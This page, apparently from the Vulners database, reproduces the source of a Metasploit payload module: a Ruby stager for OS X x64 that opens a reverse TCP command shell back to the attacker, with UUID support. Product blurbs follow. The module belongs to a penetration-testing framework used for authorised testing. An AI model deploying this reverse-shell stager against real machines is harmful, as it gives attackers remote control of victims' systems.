Lucene search
+L

OS X dup2 Command Shell, Reverse TCP Stager with UUID Support (OSX x64)

🗓️ 15 Apr 2020 07:31:26Reported by nemo, timwrType 
metasploit
 metasploit
🔗 www.rapid7.com👁 24 Views

OS X dup2 Command Shell, Reverse TCP Stager with UUID Support (OSX x64

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
  CachedSize = 204

  include Msf::Payload::Osx::ReverseTcp_x64
  include Msf::Payload::TransportConfig
  include Msf::Payload::Stager

  def self.handler_type_alias
    'reverse_tcp_uuid'
  end

  def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'Reverse TCP Stager with UUID Support (OSX x64)',
        'Description' => 'Connect back to the attacker with UUID Support (OSX x64)',
        'Author' => 'timwr',
        'License' => MSF_LICENSE,
        'Platform' => 'osx',
        'Arch' => ARCH_X64,
        'Handler' => Msf::Handler::ReverseTcp,
        'Stager' => { 'RequiresMidstager' => false }, # Originally set to true, but only Linux payloads use this at the moment, not OSX
        'Convention' => 'sockedi'
      )
    )
  end

  def include_send_uuid
    true
  end

  def generate(opts = {})
    generate_reverse_tcp(opts)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation